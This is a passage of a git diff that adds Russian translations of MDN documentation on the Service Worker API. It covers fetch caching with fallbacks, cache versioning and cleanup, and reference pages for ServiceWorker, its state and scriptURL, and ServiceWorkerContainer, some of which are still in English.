+  <pre class="brush: js notranslate">fetch(event.request);</pre>
+ </li>
+ <li>
+  <p>Если информация, соответствующая запросу, в кеше не найдена, а также сеть не доступна, то вы можете просто ответить на запрос какой-либо страницей по умолчанию, которая хранится в кеше, используя {{domxref("CacheStorage.match","match()")}}:</p>
+
+  <pre class="brush: js notranslate">caches.match('./fallback.html');</pre>
+ </li>
+ <li>
+  <p>Вы можете получить больше информации о каждом запросе, используя для этого свойства объекта {{domxref("Request")}}, который можно получить как свойство объекта {{domxref("FetchEvent")}}:</p>
+
+  <pre class="brush: js notranslate">event.request.url
+event.request.method
+event.request.headers
+event.request.body</pre>
+ </li>
+</ol>
+
+<h2 id="Восстановление_неудачных_запросов">Восстановление неудачных запросов</h2>
+
+<p>Итак, <code>caches.match(event.request)</code> отработает как нужно только в том случае, если в кеше сервис-воркера будет найдено соответствие запросу. Но что произойдет, если такого соответствия не будет найдено? Если мы не предоставим никакого механизма обработки такой ситуации, то промис выполнится со значением <code>undefined</code> и мы не получим никакого значения.</p>
+
+<p>К счастью, сервис-воркеры имеют структуру основанную на промисах, что делает тривиальной такую обработку и предоставляет большое количество способов успешно обработать запрос:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('fetch', (event) =&gt; {
+  event.respondWith(
+    caches.match(event.request).then((response) =&gt; {
+      return response || fetch(event.request);
+    })
+  );
+});</pre>
+
+<p>Если промис будет отклонен, функция <code>catch()</code> вернет обычный сетевой запрос к внешнему ресурсу. Это значит, что, если сеть доступна, то ресурс просто загрузится с сервера.</p>
+
+<p>Если же мы были достаточно умны, то мы не стали бы просто возвращать сетевой запрос, а сохранили бы его результат в кеше, чтобы иметь возможность получить его в offline-режиме. В случае с нашим демо-приложением "Star Wars gallery", это означает, что, если в галерею будет добавлено еще одно изображение, то оно будет получено и сохранено в кеше:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('fetch', (event) =&gt; {
+  event.respondWith(
+    caches.match(event.request).then((resp) =&gt; {
+      return resp || fetch(event.request).then((response) =&gt; {
+        return caches.open('v1').then((cache) =&gt; {
+          cache.put(event.request, response.clone());
+          return response;
+        });
+      });
+    })
+  );
+});</pre>
+
+<p>Здесь мы возвращаем обычный сетевой запрос, который возвращен вызовом <code>fetch(event.request);</code> этот запрос также является промисом. Когда промис разрешится, мы получим кеш вызвав <code>caches.open('v1');</code> этот метод также возвращает промис. Когда разрешится уже второй промис, будет использован вызов <code>cache.put()</code>, чтобы поместить ресурс в кеш. Ресурс получен через <code>event.request</code>, а ответ — через клонирование <code>response.clone()</code>. Клон помещается в кеш, а оригинальный ответ передается браузеру, который передает его странице, которая запросила ресурс.</p>
+
+<p>Почему? Потому что потоки запроса и ответа могут быть прочитаны только единожды. Чтобы ответ был получен браузером и сохранен в кеше, нам нужно клонировать его. Так оригинальный объект отправится браузеру, а клон будет закеширован. Оба они будут прочитаны единожды.</p>
+
+<p>У нас все ещё остается единственная проблема - если на какой-либо запрос в кеше не будет найдено соответствие, и в этот момент сеть не доступна, то наш запрос завершится неудачно. Давайте реализуем запасной вариант по умолчанию, при котором пользователь, в описанном случае, будет получать хоть что-нибудь:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('fetch', (event) =&gt; {
+  event.respondWith(
+    caches.match(event.request).then((resp) =&gt; {
+      return resp || fetch(event.request).then((response) =&gt; {
+        let responseClone = response.clone();
+        caches.open('v1').then((cache) =&gt; {
+          cache.put(event.request, responseClone);
+        });
+
+        return response;
+      });
+    }).catch(() =&gt; {
+      return caches.match('./sw-test/gallery/myLittleVader.jpg');
+    })
+  );
+});</pre>
+
+<p>Здесь мы решили обрабатывать только картинки, потому что единственные запросы, которые могут не удасться — это загрузка новых картинок, так как все остальное было закешировано во время обработки события <code>install</code>, которое мы обсуждали ранее.</p>
+
+<h2 id="Обновление_вашего_сервис-воркера"><a id="Updating your service worker" name="Updating your service worker">Обновление вашего сервис-воркера</a></h2>
+
+<p>Если после того, как ваш сервис-воркер был установлен, стала доступна его новая версия, при обновлении или загрузке страницы она будет установлена в фоновом режиме, но не будет активирована. Она будет активирована, лишь когда не останется ни одной страницы, использующей старую версию сервис-воркера.</p>
+
+<p>Вы можете обновить обработчик события install в новой версии сервис-воркера, чтобы получить примерно такое (обратите внимание на номер новой версии):</p>
+
+<pre class="brush: js notranslate">self.addEventListener('install', (event) =&gt; {
+  event.waitUntil(
+    caches.open('v2').then((cache) =&gt; {
+      return cache.addAll([
+        './sw-test/',
+        './sw-test/index.html',
+        './sw-test/style.css',
+        './sw-test/app.js',
+        './sw-test/image-list.js',
+
+        …
+
+        // подключение прочих ресурсов для новой версии...
+      ]);
+    })
+  );
+});</pre>
+
+<p>В то время, как этот код работает, предыдущая версия также доступна. Новая версия устанавливается в фоновом режиме. Мы можем работать с версией кеша v2, в то время как версия v1 не будет разрушена.</p>
+
+<p>Когда ни одна страница не будет использовать текущую версию, новый воркер активируется и станет ответственным за обработку всех запросов.</p>
+
+<h3 id="Удаление_старого_кеша">Удаление старого кеша</h3>
+
+<p>Вы можете обрабатывать событие activate. Оно обычно используется в случае, если нужно выполнить такие действия, которые бы нарушили работу воркеров предыдущей версии, если они все еще работают со старым кешем. Также это событие полезно использовать для того, чтобы удалить ненужные данные, чтобы освободить место, занимаемое на диске, потому что каждый браузер имеет жесткие ограничения на размер хранилища кеша, которое доступно для использования сервис-воркерами.</p>
+
+<p>Promise, переданный в <code>waitUntil()</code>, заблокирует другие события до своего завершения, поэтому можно быть уверенным, что процесс очистки закончится раньше, чем выполнится первое событие <code>fetch</code> на основе нового кеша.</p>
+
+<pre class="brush: js notranslate">self.addEventListener('activate', (event) =&gt; {
+  var cacheKeeplist = ['v2'];
+
+  event.waitUntil(
+    caches.keys().then((keyList) =&gt; {
+      return Promise.all(keyList.map((key) =&gt; {
+        if (cacheKeeplist.indexOf(key) === -1) {
+          return caches.delete(key);
+        }
+      }));
+    })
+  );
+});</pre>
+
+<h2 id="Инструменты_разработчика">Инструменты разработчика</h2>
+
+<p>В браузере Chrome есть раздел <code>chrome://inspect/#service-workers</code>, где можно увидеть активность сервис-воркеров и их хранилища. Также есть раздел <code>chrome://serviceworker-internals</code>, в котором можно получить более детальную информацию, запустить, остановить и отладить процессы сервис-воркеров. В будущем ожидается поддержка эмуляции различного качества сетевых соединений и их отсутствия, что будет весьма кстати.</p>
+
+<p>Firefox также начал реализовывать полезные инструменты для разработки сервис-воркеров:</p>
+
+<ul>
+ <li><span style="line-height: 1.5;">Вы можете пройти в раздел </span><a style="line-height: 1.5;">about:debugging</a><span style="line-height: 1.5;">, чтобы посмотреть зарегистрированные сервис-воркеры и обновить или удалить их.</span></li>
+ <li>Во время тестирования вы можете снять ограничение HTTPS, поставив флажок "Enable Service Workers over HTTP (when toolbox is open)" в <a href="/ru/docs/Tools/Settings">настройках Firefox Developer Tools</a>.</li>
+ <li>Кнопка "Забыть", включаемая в настройках «Персонализация» в Firefox, позволяет удалить все сервис-воркеры и очистить их кеши.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>На заметку</strong>: Вы можете держать своё приложение на <code>http://localhost</code> (например, используя <code>me@localhost:/my/app$ <strong>python -m SimpleHTTPServer</strong></code>) для локальной разработки. См. <a href="https://www.w3.org/TR/service-workers/#security-considerations">Security considerations</a></p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("33.0") }}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Service workers (and <a href="/en-US/docs/Web/API/Push_API">Push</a>) были отключены в <a href="https://www.mozilla.org/en-US/firefox/organizations/">расширенной версии поддержке Firefox 45</a> (ESR.)</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://serviceworke.rs/">The Service Worker Cookbook</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Готов ли ServiceWorker для использования?</a></li>
+ <li>Скачать <a href="https://mdn.mozillademos.org/files/12638/sw101.png">Service Workers 101 cheatsheet</a>.</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a></li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ru/web/api/serviceworker/index.html b/files/ru/web/api/serviceworker/index.html
new file mode 100644
index 0000000000..06cb74c21c
--- /dev/null
+++ b/files/ru/web/api/serviceworker/index.html
@@ -0,0 +1,105 @@
+---
+title: ServiceWorker
+slug: Web/API/ServiceWorker
+translation_of: Web/API/ServiceWorker
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<div></div>
+
+<p>Интерфейс <code>ServiceWorker</code>, являющийся частью <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a>, позволяет взаимодействовать с Service Worker. К одному Service Worker могут быть привязаны несколько контекстов (например страниц, Web Workers, и т.д.), каждый с использованием собственного объекта <code>ServiceWorker</code>.</p>
+
+<p>Объект <code>ServiceWorker</code> можно получить через свойства {{domxref("ServiceWorkerRegistration.active")}} и {{domxref("ServiceWorkerContainer.controller")}} — это Service Worker, который активировал и контролирует текущую страницу (в случае, если Service Worker был успешно зарегистрирован и страница была обновлена)</p>
+
+<p>Интерфейс <code>ServiceWorker</code> обрабатывает события жизненного цикла: <code>install</code> и <code>activate</code> и функциональные события, например <code>fetch</code>. Объект <code>ServiceWorker</code> также содержит опцию {{domxref("ServiceWorker.state")}}, отражающую его состояние.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <code>ServiceWorker</code> наследует свойства {{domxref("Worker")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("ServiceWorker.scriptURL")}} {{readonlyinline}}</dt>
+ <dd>URL кода для данного Service Worker. URL должен находиться в том же домене, что и документ, регистрирующий <code>ServiceWorker</code>.</dd>
+ <dt>{{domxref("ServiceWorker.state")}} {{readonlyinline}}</dt>
+ <dd>Состояние данного Service Worker. Может иметь следующие значения: <code>installing</code>, <code>installed,</code> <code>activating</code>, <code>activated</code> или <code>redundant</code>.</dd>
+</dl>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorker.onstatechange")}} {{readonlyinline}}</dt>
+ <dd>Срабатывает при срабатывании события <code>statechange</code>; По сути, срабатывает при каждом изменении {{domxref("ServiceWorker.state")}}.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Интерфейс <code>ServiceWorker</code> наследует все методы интерфейса {{domxref("Worker")}}, кроме {{domxref("Worker.terminate")}}, который не должен быть доступен для Service Worker.</em></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Этот фрагмент кода из <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/registration-events/index.html">примера событий Service Worker</a> (<a href="https://googlechrome.github.io/samples/service-worker/registration-events/">демо</a>). Данный код возвращает значение {{domxref("ServiceWorker.state")}} при каждом изменении состояния.</p>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+    navigator.serviceWorker.register('service-worker.js', {
+        scope: './'
+    }).then(function (registration) {
+        var serviceWorker;
+        if (registration.installing) {
+            serviceWorker = registration.installing;
+            document.querySelector('#kind').textContent = 'installing';
+        } else if (registration.waiting) {
+            serviceWorker = registration.waiting;
+            document.querySelector('#kind').textContent = 'waiting';
+        } else if (registration.active) {
+            serviceWorker = registration.active;
+            document.querySelector('#kind').textContent = 'active';
+        }
+        if (serviceWorker) {
+            // logState(serviceWorker.state);
+            serviceWorker.addEventListener('statechange', function (e) {
+                // logState(e.target.state);
+            });
+        }
+    }).catch (function (error) {
+        // Произошла ошибка при регистрации Service Worker.
+        // Файл service-worker.js может быть недоступным или содержать ошибки синтаксиса.
+    });
+} else {
+    // Данный браузер не поддерживает Service Worker.
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#serviceworker', 'ServiceWorker')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка">Поддержка</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorker")}}</p>
+</div>
+
+<h2 id="Смотрите_Также">Смотрите Также</h2>
+
+<ul>
+ <li><a href="https://serviceworke.rs">ServiceWorker Cookbook</a></li>
+ <li><a href="/ru/docs/Web/API/Service_Worker_API/Using_Service_Workers">Использование Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Базовый пример для Service Worker</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Поддержка ServiceWorker браузерами</a></li>
+ <li>{{jsxref("Promise", "Promises")}}</li>
+ <li><a href="/ru/docs/DOM/Using_web_workers">Использование Web Workers</a></li>
+</ul>
diff --git a/files/ru/web/api/serviceworker/onstatechange/index.html b/files/ru/web/api/serviceworker/onstatechange/index.html
new file mode 100644
index 0000000000..4a02488880
--- /dev/null
+++ b/files/ru/web/api/serviceworker/onstatechange/index.html
@@ -0,0 +1,73 @@
+---
+title: ServiceWorker.onstatechange
+slug: Web/API/ServiceWorker/onstatechange
+translation_of: Web/API/ServiceWorker/onstatechange
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p>Обработчик события, вызываемый при срабатывании события <code>statechange</code>; по сути, срабатывает при изменении {{domxref("ServiceWorker.state")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">ServiceWorker.onstatechange = function(statechangeevent) { ... }
+ServiceWorker.addEventListener('statechange', function(statechangeevent) { ... } )</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Данный фрагмент кода из <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/registration-events/index.html">примера событий service worker</a> (<a href="https://googlechrome.github.io/samples/service-worker/registration-events/">демо</a>) возвращает состояние при каждом его изменении.</p>
+
+<pre class="brush: js">var serviceWorker;
+if (registration.installing) {
+  serviceWorker = registration.installing;
+  document.querySelector('#kind').textContent = 'installing';
+} else if (registration.waiting) {
+  serviceWorker = registration.waiting;
+  document.querySelector('#kind').textContent = 'waiting';
+} else if (registration.active) {
+  serviceWorker = registration.active;
+  document.querySelector('#kind').textContent = 'active';
+}
+
+if (serviceWorker) {
+  logState(serviceWorker.state);
+  serviceWorker.addEventListener('statechange', function(e) {
+  logState(e.target.state);
+  });
+}</pre>
+
+<p>Обратите внимание, что при срабатывании <code>statechange</code>, ссылки на service worker могли измениться. Например:</p>
+
+<pre class="brush: js">navigator.serviceWorker.register(..).then(function(swr) {
+  swr.installing.state == "installing"
+  swr.installing.onstatechange = function() {
+    swr.installing == null;
+    // At this point, swr.waiting OR swr.active might be true. This is because the statechange
+    // event gets queued, meanwhile the underlying worker may have gone into the waiting
+    // state and will be immediately activated if possible.
+  }
+})</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-serviceworker-onstatechange', 'ServiceWorker.onstatechange')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorker.onstatechange")}}</p>
+</div>
diff --git a/files/ru/web/api/serviceworker/scripturl/index.html b/files/ru/web/api/serviceworker/scripturl/index.html
new file mode 100644
index 0000000000..c01cb6c968
--- /dev/null
+++ b/files/ru/web/api/serviceworker/scripturl/index.html
@@ -0,0 +1,46 @@
+---
+title: ServiceWorker.scriptURL
+slug: Web/API/ServiceWorker/scriptURL
+translation_of: Web/API/ServiceWorker/scriptURL
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p>Возвращает URL, указывающий на скрипт данного Service Worker, определенный с помощью <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration" title="ServiceWorkerRegistion is an interface object representing the service worker registration. You register a service worker to control one or more pages that share the same origin."><code>ServiceWorkerRegistration</code></a>. URL должен находиться в том же домене, что и документ, регистрирующий <code>ServiceWorker</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">someURL = ServiceWorker.scriptURL
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("USVString")}} (см. <a href="http://heycam.github.io/webidl/#idl-USVString">WebIDL-определение USVString</a>.)</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">TBD</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-url', 'scriptURL')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_в_браузерах">Поддержка в браузерах</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorker.scriptURL")}}</p>
+</div>
diff --git a/files/ru/web/api/serviceworker/state/index.html b/files/ru/web/api/serviceworker/state/index.html
new file mode 100644
index 0000000000..19133ae4c1
--- /dev/null
+++ b/files/ru/web/api/serviceworker/state/index.html
@@ -0,0 +1,65 @@
+---
+title: ServiceWorker.state
+slug: Web/API/ServiceWorker/state
+translation_of: Web/API/ServiceWorker/state
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p>Свойство интерфейса {{domxref("ServiceWorker")}} <strong><code>state</code></strong>, доступное только для чтения является строкой, показывающей текущее состояние данного Service Worker. Его возможные значения: <code>installing</code>, <code>installed,</code> <code>activating</code>, <code>activated</code> и <code>redundant</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>someURL</em> = <em>ServiceWorker</em>.state
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Определение {{domxref("ServiceWorkerState")}} (<a href="http://slightlyoff.github.io/ServiceWorker/spec/service_worker/#service-worker-state-enum">см. спецификацию</a>)</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Это фрагмент кода из <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/registration-events/index.html" rel="noopener">примера событий Service Worker</a> (<a href="https://googlechrome.github.io/samples/service-worker/registration-events/" rel="noopener">демо</a>). Данный код возвращает значение <a href="https://wiki.developer.mozilla.org/ru/docs/Web/API/ServiceWorker/state" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>ServiceWorker.state</code></a> при каждом изменении состояния.</p>
+
+<pre class="brush: js">var serviceWorker;
+if (registration.installing) {
+  serviceWorker = registration.installing;
+  document.querySelector('#kind').textContent = 'installing';
+} else if (registration.waiting) {
+  serviceWorker = registration.waiting;
+  document.querySelector('#kind').textContent = 'waiting';
+} else if (registration.active) {
+  serviceWorker = registration.active;
+  document.querySelector('#kind').textContent = 'active';
+}
+
+if (serviceWorker) {
+  logState(serviceWorker.state);
+  serviceWorker.addEventListener('statechange', function(e) {
+  logState(e.target.state);
+  });
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-state', 'state')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_в_браузерах">Поддержка в браузерах</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorker.state")}}</p>
+</div>
diff --git a/files/ru/web/api/serviceworkercontainer/controller/index.html b/files/ru/web/api/serviceworkercontainer/controller/index.html
new file mode 100644
index 0000000000..066edb858b
--- /dev/null
+++ b/files/ru/web/api/serviceworkercontainer/controller/index.html
@@ -0,0 +1,55 @@
+---
+title: ServiceWorkerContainer.controller
+slug: Web/API/ServiceWorkerContainer/controller
+translation_of: Web/API/ServiceWorkerContainer/controller
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p><span class="seoSummary">Свойство <strong><code>controller</code></strong> интерфейса {{domxref("ServiceWorkerContainer")}} возвращает объект {{domxref("ServiceWorker")}}, в случае, если service worker активирован. Данное свойство возвращает <code>null</code>, если страница была обновлена с помощью <em>Shift</em> + refresh или на ней отсутствует активный service worker.</span></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var myController = navigator.serviceWorker.controller;
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Объект {{domxref("ServiceWorker")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+  // Проверяем, находится ли данная страница под управлением service worker.
+  if (navigator.serviceWorker.controller) {
+    console.log(`Эта страница сейчас контролируется ${navigator.serviceWorker.controller}`);
+  } else {
+    console.log('Эта страница не контролируется service worker.');
+  }
+} else {
+  console.log('Данный браузер не поддерживает Service Worker API.');
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#navigator-service-worker-controller', 'ServiceWorkerRegistration.controller')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorkerContainer.controller")}}</p>
+</div>
diff --git a/files/ru/web/api/serviceworkercontainer/index.html b/files/ru/web/api/serviceworkercontainer/index.html
new file mode 100644
index 0000000000..a8bf9f324e
--- /dev/null
+++ b/files/ru/web/api/serviceworkercontainer/index.html
@@ -0,0 +1,165 @@
+---
+title: ServiceWorkerContainer
+slug: Web/API/ServiceWorkerContainer
+tags:
+  - API
+  - Draft
+  - Interface
+  - NeedsTranslation
+  - Offline
+  - Reference
+  - Service Workers
+  - ServiceWorkerContainer
+  - TopicStub
+  - Workers
+translation_of: Web/API/ServiceWorkerContainer
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a> предоставляет интерфейс <code>ServiceWorkerContainer</code>, являющийся объектом (объект предствляет собой сервис воркер, как единое целое в сетевой экосистеме) влючающим следующие средства:<br>
+ Регистрация;<br>
+ Отмена регистрации;<br>
+ Обновление сервис воркеров;<br>
+ Доступ к состоянию сервис воркеров;<br>
+ Доступ к регистрации сервис воркеров.</p>
+
+<p>Most importantly, it exposes the {{domxref("ServiceWorkerContainer.register", "ServiceWorkerContainer.register(scriptURL, scope[, base])")}} method used to register service workers, and the {{domxref("ServiceWorkerContainer.controller")}} property used to determine whether or not the current page is actively controlled.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerContainer.controller")}} {{readonlyinline}}</dt>
+ <dd>Returns a {{domxref("ServiceWorker")}} object if its state is <code>activated</code> (the same object returned by {{domxref("ServiceWorkerRegistration.active")}}). This property returns <code style="font-style: normal;">null</code> if the request is a force refresh (<em>Shift</em> + refresh) or if there is no active worker.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerContainer.ready")}} {{readonlyinline}}</dt>
+ <dd>Defines whether a service worker is ready to control a page or not. It returns a {{jsxref("Promise")}} that will never reject, which resolves to a {{domxref("ServiceWorkerRegistration")}} with an {{domxref("ServiceWorkerRegistration.active")}} worker.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerContainer.oncontrollerchange")}}</dt>
+ <dd>An event handler fired whenever a {{Event("controllerchange")}} event occurs — when the document's associated {{domxref("ServiceWorkerRegistration")}} acquires a new {{domxref("ServiceWorkerRegistration.active")}} worker.</dd>
+ <dt>{{domxref("ServiceWorkerContainer.onerror")}}</dt>
+ <dd>An event handler fired whenever an {{Event("error")}} event occurs in the associated service workers.</dd>
+ <dt>{{domxref("ServiceWorkerContainer.onmessage")}}</dt>
+ <dd>An event handler fired whenever a {{Event("message")}} event occurs — when incoming messages are received to the {{domxref("ServiceWorkerContainer")}} object (e.g. via a {{domxref("MessagePort.postMessage()")}} call.)</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerContainer.register", "ServiceWorkerContainer.register()")}} </dt>
+ <dd>Creates or updates a {{domxref("ServiceWorkerRegistration")}} for the given <code>scriptURL</code>.</dd>
+ <dt>{{domxref("ServiceWorkerContainer.getRegistration()")}}</dt>
+ <dd>Gets a {{domxref("ServiceWorkerRegistration")}} object whose scope URL matches the provided document URL.  If the method can't return a {{domxref("ServiceWorkerRegistration")}}, it returns a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" style="text-decoration: underline;" title="The Promise object is used for deferred and asynchronous computations. A Promise is in one of the three states:"><code>Promise</code></a>. </dd>
+ <dt>{{domxref("ServiceWorkerContainer.getRegistrations()")}}</dt>
+ <dd>Returns all {{domxref("ServiceWorkerRegistration")}}s associated with a <code>ServiceWorkerContainer</code> in an array.  If the method can't return {{domxref("ServiceWorkerRegistration")}}s, it returns a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" style="text-decoration: underline;" title="The Promise object is used for deferred and asynchronous computations. A Promise is in one of the three states:"><code>Promise</code></a>. </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>This code snippet is from the <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/fallback-response/index.html#L126">service worker fallback-response sample</a> (see <a href="http://googlechrome.github.io/samples/service-worker/fallback-response/">fallback-response live</a>). The code checks to see if the browser supports service workers. Then the code registers the service worker and determines if the page is actively controlled by the service worker. If it isn't, it prompts the user to reload the page so the service worker can take control. The code also reports any registration failures.</p>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('service-worker.js', {scope: './'}).then(function() {
+    if (navigator.serviceWorker.controller) {
+      document.querySelector('#status').textContent = 'The service worker is currently handling network operations.';
+      showRequestButtons();
+    } else {
+      document.querySelector('#status').textContent = 'Please reload this page to allow the service worker to handle network operations.';
+    }
+  }).catch(function(error) {
+    document.querySelector('#status').textContent = error;
+  });
+} else {
+  var aElement = document.createElement('a');
+  aElement.href = 'http://www.chromium.org/blink/serviceworker/service-worker-faq';
+  aElement.textContent = 'unavailable';
+  document.querySelector('#status').appendChild(aElement);
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-container', 'ServiceWorkerContainer')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
